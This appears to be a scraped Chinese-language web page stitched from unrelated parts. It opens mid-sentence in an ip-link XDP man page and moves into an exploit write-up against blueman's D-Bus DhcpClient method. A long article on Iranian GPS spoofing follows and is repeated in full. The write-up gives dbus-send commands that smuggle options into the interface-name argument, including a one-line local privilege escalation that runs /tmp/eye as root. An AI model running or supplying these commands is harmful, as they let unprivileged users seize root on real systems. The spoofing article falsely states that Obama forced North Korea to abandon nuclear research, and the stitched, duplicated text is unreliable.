              posite effect of requestsing that the automatic fallback to the generic XDP variant be disabled and in case driver is not XDP-capable error should be returned.  xdpdrv also disables hardware
              offloads.  xdpoffload in ip link output indicates that the program has been offloaded to hardware and can also be used to request the "offload" mode, much like xdpgeneric it forces program to
              be installed specifically in HW/FW of the apater.

              object FILE - Attaches a XDP/BPF program to the given device. The FILE points to a BPF ELF file (f.e. generated by LLVM) that contains the BPF program code, map specifications, etc. If a
              XDP/BPF program is already attached to the given device, an error will be thrown. If no XDP/BPF program is currently attached, the device supports XDP and the program from the BPF ELF file
              passes the kernel verifier, then it will be attached to the device. If the option -force is passed to ip then any prior attached XDP/BPF program will be atomically overridden and no error
              will be thrown in this case. If no section option is passed, then the default section name ("prog") will be assumed, otherwise the provided section name will be used. If no verbose option is
              passed, then a verifier log will only be dumped on load error.  See also EXAMPLES section for usage examples.

因此,我可以将XDP对象附加到任何接口。那将需要超过15个字符。如何降低它?让我们先重命名接口!

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 down al"dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"ens33 name a"dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"a xdp o /tmp/o"

现在我们可以将XDP对象附加到任何接口,从而可以更深入地研究XDP和eBPF是如何工作的,以及是否存在与我现在可以将此类对象附加到任何接口有关的任何安全漏洞。

最后,我发现blueman还支持其他DHCP客户端。来自blueman代码如下:

COMMANDS = [
    ["dhclient", "-e", "IF_METRIC=100", "-1"],
    ["dhcpcd", "-m", "100"],
    ["udhcpc", "-t", "20", "-x", "hostname", socket.gethostname(), "-n", "-i"]
]for command in self.COMMANDS:
    path = have(command[0])    if path:        self._command = [path] + command[1:] + [self._interface]

因此,如果dhclient不可用,但是dhcpcd可用,则我们还有另一种可能性来执行代码。对于我们而言,幸运的是,dhcpcd也具有运行脚本的能力,并且在参数格式上没有那么挑剔。这给我们留下了一个本地权限升级oneliner,它可以在任何具有dhcpcd而不是dhclient的Ubuntu或Debian系统上运行。

dbus-send --print-reply --system \
  --dest=org.blueman.Mechanism \
  /org/blueman/mechanism \
  org.blueman.Mechanism.DhcpClient \
  string:"-c/tmp/eye"

任何没有权限的用户都可以运行此命令,并且在shellscript /tmp/eye中的任何代码都将以root身份运行!

part-00195-3340.jpg

今年3月,美国政府收到了一份不寻常的关于GPS中断的调查。

在伊朗一些GPS设备接收到假信号,并显示了虚假有效位置。有测试人员曾用一个设备进行了测试,该设备可以获取信号并给出真实位置。 10分钟后,设备显示以35 km /h的速度绕德黑兰的一个大圆圈移动。目前,测试人员还无法通过重启设备来解决此问题。

GPS模块的时间是正确的,但位置却不正确。以下是测试的Excel文件的数据和轨道的地图。

Tehran-circle-spoofing-screenshot-1.jpg

伊朗陆军指挥参谋学院正在使用GPS欺骗设备

一项互联网研究表明,这种欺骗行为发生在伊朗的“AJA指挥与参谋大学”(以前称为“战争大学”)附近。

向美国政府提交的关于GPS中断的报告通常显示在美国海岸警卫队导航中心的网站上,不过目前这个情况还没有发布。美国海岸警卫队官员说,这是因为报告是由另一个机构收到的,没有包含足够的信息。海岸警卫队人员试图联系报告来源获取更多信息,以使报告得以发布,但没有成功。

GPS欺骗通常最容易出现在海域中,船舶自动识别系统(AIS)传输包括位置数据,并由卫星进行检测。然后,数据被汇总并由多家公司用于许多应用程序。通过查看随时间变化的船舶位置报告,可以发现数千名被欺骗的接收者被骗到俄罗斯的机场。

不过,很明显,任何聚合和显示GPS位置数据的系统都可以帮助检测大面积欺骗活动。

Strava是一款适用于跑步者和自行车手的移动应用程序。该公司聚合了位置数据,并将其显示在热图上,以突出运动员最喜欢的路线。

德黑兰的斯特拉瓦(Strava)热图显示,至少在其他一个位置也使用了欺骗性位置。下面的截图显示了启用GPS的健身追踪器环绕着几个国防和技术相关组织的办公大楼。

Tehran-circle-spoofing-screenshot-2.jpg

该热图显示了位于德黑兰的一个政府大楼内的GPS欺骗,该大楼内设有国防部、通信监管局、电信基础设施公司以及电信和技术部。

伊朗是第一个公开宣布其具有欺骗GPS信号能力的国家,而且似乎已经利用它取得了巨大的优势。

2011年,一架在阿富汗边境作业的CIA无人机降落在伊朗的一个机场。伊朗政府声称,为了捕获无人机,其部队向无人机的GPS接收器发送了错误信号。

起初,美国政府官员表示,这种欺骗是不可能的。几个月后,托德·汉弗莱斯教授在德克萨斯大学足球场演示了如何在一架无人机上进行这种操作。

美国官员随后承认存在欺骗的可能,但表示CIA无人机并没有遭遇这种情况。与此同时,对于无人机是如何被捕获的,他们没有提供其他解释。

2016年,伊朗军队抓获了两艘误入伊朗领海的美国海军船只。这就发生在奥巴马总统成功迫使朝鲜放弃核武器研究之后,同一天,奥巴马发表了最后一次国情咨文。美国海军的船只几乎没有理由偏离航线这么远,而且很明显,伊朗海军正在等着他们。

许多人猜测,这是伊朗伪造了GPS信号,引诱美国海军船只进入伊朗水域。美国官员否认这是事故的原因,但没有公开提供除了“导航错误”以外的其他解释。

2019年,在波斯湾紧张局势加剧期间,伊朗击落了一架美国侦察机,特朗普总统似乎准备发动报复性打击,不过偶在最后一刻被取消了。根据一些报道,空袭被取消是因为无人机当时可能在伊朗领空。

大约在同一时间,英国情报机构警告该地区的商船,伊朗试图使用GPS欺骗技术引诱商船进入伊朗水域,以作为扣押船只的借口。

最近发生的这些GPS欺骗事件是研究人员在中东所知的第一起此类事件。伊朗部队还可能会使用它来阻止GPS导航无人机,并破坏敏感政府机构附近的其他监视系统。

part-00195-3340.jpg

今年3月,美国政府收到了一份不寻常的关于GPS中断的调查。

在伊朗一些GPS设备接收到假信号,并显示了虚假有效位置。有测试人员曾用一个设备进行了测试,该设备可以获取信号并给出真实位置。 10分钟后,设备显示以35 km /h的速度绕德黑兰的一个大圆圈移动。目前,测试人员还无法通过重启设备来解决此问题。

GPS模块的时间是正确的,但位置却不正确。以下是测试的Excel文件的数据和轨道的地图。

Tehran-circle-spoofing-screenshot-1.jpg

伊朗陆军指挥参谋学院正在使用GPS欺骗设备

一项互联网研究表明,这种欺骗行为发生在伊朗的“AJA指挥与参谋大学”(以前称为“战争大学”)附近。

向美国政府提交的关于GPS中断的报告通常显示在美国海岸警卫队导航中心的网站上,不过目前这个情况还没有发布。美国海岸警卫队官员说,这是因为报告是由另一个机构收到的,没有包含足够的信息。海岸警卫队人员试图联系报告来源获取更多信息,以使报告得以发布,但没有成功。

GPS欺骗通常最容易出现在海域中,船舶自动识别系统(AIS)传输包括位置数据,并由卫星进行检测。然后,数据被汇总并由多家公司用于许多应用程序。通过查看随时间变化的船舶位置报告,可以发现数千名被欺骗的接收者被骗到俄罗斯的机场。

不过,很明显,任何聚合和显示GPS位置数据的系统都可以帮助检测大面积欺骗活动。

Strava是一款适用于跑步者和自行车手的移动应用程序。该公司聚合了位置数据,并将其显示在热图上,以突出运动员最喜欢的路线。

德黑兰的斯特拉瓦(Strava)热图显示,至少在其他一个位置也使用了欺骗性位置。下面的截图显示了启用GPS的健身追踪器环绕着几个国防和技术相关组织的办公大楼。

Tehran-circle-spoofing-screenshot-2.jpg

该热图显示了位于德黑兰的一个政府大楼内的GPS欺骗,该大楼内设有国防部、通信监管局、电信基础设施公司以及电信和技术部。

伊朗是第一个公开宣布其具有欺骗GPS信号能力的国家,而且似乎已经利用它取得了巨大的优势。

2011年,一架在阿富汗边境作业的CIA无人机降落在伊朗的一个机场。伊朗政府声称,为了捕获无人机,其部队向无人机的GPS接收器发送了错误信号。

起初,美国政府官员表示,这种欺骗是不可能的。几个月后,托德·汉弗莱斯教授在德克萨斯大学足球场演示了如何在一架无人机上进行这种操作。

美国官员随后承认存在欺骗的可能,但表示CIA无人机并没有遭遇这种情况。与此同时,对于无人机是如何被捕获的,他们没有提供其他解释。

2016年,伊朗军队抓获了两艘误入伊朗领海的美国海军船只。这就发生在奥巴马总统成功迫使朝鲜放弃核武器研究之后,同一天,奥巴马发表了最后一次国情咨文。美国海军的船只几乎没有理由偏离航线这么远,而且很明显,伊朗海军正在等着他们。

许多人猜测,这是伊朗伪造了GPS信号,引诱美国海军船只进入伊朗水域。美国官员否认这是事故的原因,但没有公开提供除了“导航错误”以外的其他解释。

2019年,在波斯湾紧张局势加剧期间,伊朗击落了一架美国侦察机,特朗普总统似乎准备发动报复性打击,不过偶在最后一刻被取消了。根据一些报道,空袭被取消是因为无人机当时可能在伊朗领空。

大约在同一时间,英国情报机构警告该地区的商船,伊朗试图使用GPS欺骗技术引诱商船进入伊朗水域,以作为扣押船只的借口。

最近发生的这些GPS欺骗事件是研究人员在中东所知的第一起此类事件。伊朗部队还可能会使用它来阻止GPS导航无人机,并破坏敏感政府机构附近的其他监视系统。